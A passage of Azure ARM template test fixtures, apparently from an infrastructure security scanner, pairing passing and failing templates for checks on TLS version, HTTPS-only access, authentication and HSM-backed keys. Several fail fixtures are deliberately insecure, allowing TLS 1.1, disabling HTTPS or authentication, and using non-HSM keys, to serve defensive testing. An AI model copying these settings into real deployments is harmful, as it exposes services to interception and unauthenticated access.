"supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": true, "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": true, "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "fail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": "1.1" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2021-02-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": "1.1" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": "1.2" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass2", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": 1.2 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2021-02-01", "name": "pass3", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": "1.2" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2021-02-01", "name": "pass4", "location": "[resourceGroup().location]", "kind": "functionapp,linux", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "siteConfig": { "minTlsVersion": 1.3 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "11556880252039009077" } }, "parameters": { "hostingPlanName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the hosting plan to use in Azure." } }, "webSiteName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the Azure Web app to create." } } }, "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-03-01", "name": "sites_config_fail", "properties": { "globalValidation": { "requireAuthentication": true, "unauthenticatedClientAction": "Return401" }, "httpSettings": { "forwardProxy": { "convention": "NoProxy" }, "requireHttps": false, "routes": { "apiPrefix": "/.auth" } }, "javaVersion": "1.8", "javaContainer": "TOMCAT", "javaContainerVersion": "9.0" }, "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "11556880252039009077" } }, "parameters": { "hostingPlanName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the hosting plan to use in Azure." } }, "webSiteName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the Azure Web app to create." } } }, "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-03-01", "name": "sites_config_pass", "properties": { "globalValidation": { "requireAuthentication": true, "unauthenticatedClientAction": "Return401" }, "httpSettings": { "forwardProxy": { "convention": "NoProxy" }, "requireHttps": true, "routes": { "apiPrefix": "/.auth" } }, "javaVersion": "1.8", "javaContainer": "TOMCAT", "javaContainerVersion": "9.0" }, "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "11556880252039009077" } }, "parameters": { "hostingPlanName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the hosting plan to use in Azure." } }, "webSiteName": { "type": "string", "minLength": 1, "metadata": { "description": "Name of the Azure Web app to create." } } }, "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-03-01", "name": "sites_config_pass1", "properties": { "globalValidation": { "requireAuthentication": true, "unauthenticatedClientAction": "Return401" }, "httpSettings": { "forwardProxy": { "convention": "NoProxy" }, "routes": { "apiPrefix": "/.auth" } }, "javaVersion": "1.8", "javaContainer": "TOMCAT", "javaContainerVersion": "9.0" }, "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "10602523904429381366" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "linuxFxVersion": { "type": "string", "defaultValue": "DOTNETCORE|3.0", "metadata": { "description": "The Runtime stack of current web app" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-03-01", "name": "sites_fail", "location": "[parameters('location')]", "kind": "app", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "httpsOnly": false, "siteConfig": { "detailedErrorLoggingEnabled": true, "httpLoggingEnabled": true, "requestTracingEnabled": true, "ftpsState": "Disabled", "minTlsVersion": "1.2" } }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]" ] }, { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "sites_fail", "location": "[parameters('location')]", "properties": { "httpsOnly": false, "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "minTlsVersion": "1.2", "ftpsState": "FtpsOnly" } }, "identity": { "type": "SystemAssigned" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "10602523904429381366" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "linuxFxVersion": { "type": "string", "defaultValue": "DOTNETCORE|3.0", "metadata": { "description": "The Runtime stack of current web app" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-03-01", "name": "sites_fail1", "location": "[parameters('location')]", "kind": "app", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "siteConfig": { "detailedErrorLoggingEnabled": true, "httpLoggingEnabled": true, "requestTracingEnabled": true, "ftpsState": "Disabled", "minTlsVersion": "1.2" } }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]" ] }, { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "sites_fail1", "location": "[parameters('location')]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "minTlsVersion": "1.2", "ftpsState": "FtpsOnly" } }, "identity": { "type": "SystemAssigned" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "10602523904429381366" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sku": { "type": "string", "defaultValue": "F1", "metadata": { "description": "The SKU of App Service Plan." } }, "linuxFxVersion": { "type": "string", "defaultValue": "DOTNETCORE|3.0", "metadata": { "description": "The Runtime stack of current web app" } }, "repoUrl": { "type": "string", "defaultValue": " ", "metadata": { "description": "Optional Git Repo URL" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-03-01", "name": "sites_pass", "location": "[parameters('location')]", "kind": "app", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "httpsOnly": true, "siteConfig": { "detailedErrorLoggingEnabled": true, "httpLoggingEnabled": true, "requestTracingEnabled": true, "ftpsState": "Disabled", "minTlsVersion": "1.2" } }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]", "[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]" ] }, { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "sites_pass", "location": "[parameters('location')]", "properties": { "httpsOnly": true, "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "minTlsVersion": "1.2", "ftpsState": "FtpsOnly" } }, "identity": { "type": "SystemAssigned" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "authsettingsV2", "properties": { "httpSettings": { "forwardProxy": { "convention": "Custom" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "authsettingsV2", "properties": { "httpSettings": { "forwardProxy": { "convention": "Custom" } }, "platform": { "enabled": false } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "authsettingsV2", "properties": { "httpSettings": { "forwardProxy": { "convention": "Custom" } }, "platform": { "enabled": true } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "pass", "properties": { "httpSettings": { "forwardProxy": { "convention": "Custom" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyBackedByHSM/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2021-11-01-preview", "name": "[parameters('vaultName')]", "location": "[parameters('location')]", "properties": { "accessPolicies": [], "enableRbacAuthorization": true, "enableSoftDelete": true, "softDeleteRetentionInDays": "90", "enabledForDeployment": false, "enabledForDiskEncryption": false, "enabledForTemplateDeployment": false, "tenantId": "[subscription().tenantId]", "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/keys", "apiVersion": "2021-11-01-preview", "name": "fail", "properties": { "kty": "RSA", "keyOps": "[parameters('keyOps')]", "keySize": "[parameters('keySize')]", "curveName": "[parameters('curveName')]" }, "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('vaultName'))]" ] } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_KeyBackedByHSM/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2021-11-01-preview", "name": "[parameters('vaultName')]", "location": "[parameters('location')]", "properties": { "accessPolicies": [], "enableRbacAuthorization": true, "enableSoftDelete": true, "softDeleteRetentionInDays": "90", "enabledForDeployment": false, "enabledForDiskEncryption": false, "enabledForTemplateDeployment": false, "tenantId": "[subscription().tenantId]", "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/keys", "apiVersion": "2021-11-01-preview", "name": "pass", "properties": { "kty": "RSA-HSM", "keyOps": "[parameters('keyOps')]", "keySize": "[parameters('keySize')]", "curveName": "[parameters('curveName')]" }, "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('vaultName'))]" ] } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_KeyExpirationDate/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "Specifies the name of the KeyVault, this vault must already exist." } }, "keyName": { "type": "string", "metadata": { "description": "Specifies the name of the key to be created." } }, "crv": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "Elliptic curve name." } }, "exp" : { "type": "int", "defaultValue": "[dateTimeToEpoch(dateTimeAdd(utcNow(), 'P1Y'))]", "metadata": { "description": "Expiry date in seconds since 1970-01-01T00:00:00Z. Defaults to 1 year from today." } }, "key_ops": { "type": "array", "defaultValue": [], "metadata": { "description": "JSON web key operations. Operations include: 'encrypt', 'decrypt', 'sign', 'verify', 'wrapKey', 'unwrapKey'" } }, "key_size": { "type": "int", "defaultValue": 4096, "metadata": { "description": "The key size in bits. For example: 2048, 3072, or 4096 for RSA." } }, "kty": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The type of key to create" } }, "tags": { "type": "object", "defaultValue": {}, "metadata": { "description": "Tags to be assigned to the Key." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults/keys", "apiVersion": "2021-10-01", "name": "fail", "tags": "[parameters('tags')]", "properties": { "attributes": { "exp": "[parameters('exp')]" }, "crv": "[parameters('crv')]", "kty": "[parameters('kty')]", "key_ops": "[parameters('key_ops')]", "key_size": "[parameters('key_size')]" } } ], "outputs": { "key": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')), '2021-10-01', 'Full')]" } } } ================================================ FILE: tests/arm/checks/resource/example_KeyExpirationDate/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "Specifies the name of the KeyVault, this vault must already exist." } }, "keyName": { "type": "string", "metadata": { "description": "Specifies the name of the key to be created." } }, "crv": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "Elliptic curve name." } }, "exp" : { "type": "int", "defaultValue": "[dateTimeToEpoch(dateTimeAdd(utcNow(), 'P1Y'))]", "metadata": { "description": "Expiry date in seconds since 1970-01-01T00:00:00Z. Defaults to 1 year from today." } }, "key_ops": { "type": "array", "defaultValue": [], "metadata": { "description": "JSON web key operations. Operations include: 'encrypt', 'decrypt', 'sign', 'verify', 'wrapKey', 'unwrapKey'" } }, "key_size": { "type": "int", "defaultValue": 4096, "metadata": { "description": "The key size in bits. For example: 2048, 3072, or 4096 for RSA." } }, "kty": { "type": "string", "defaultValue": "RSA", 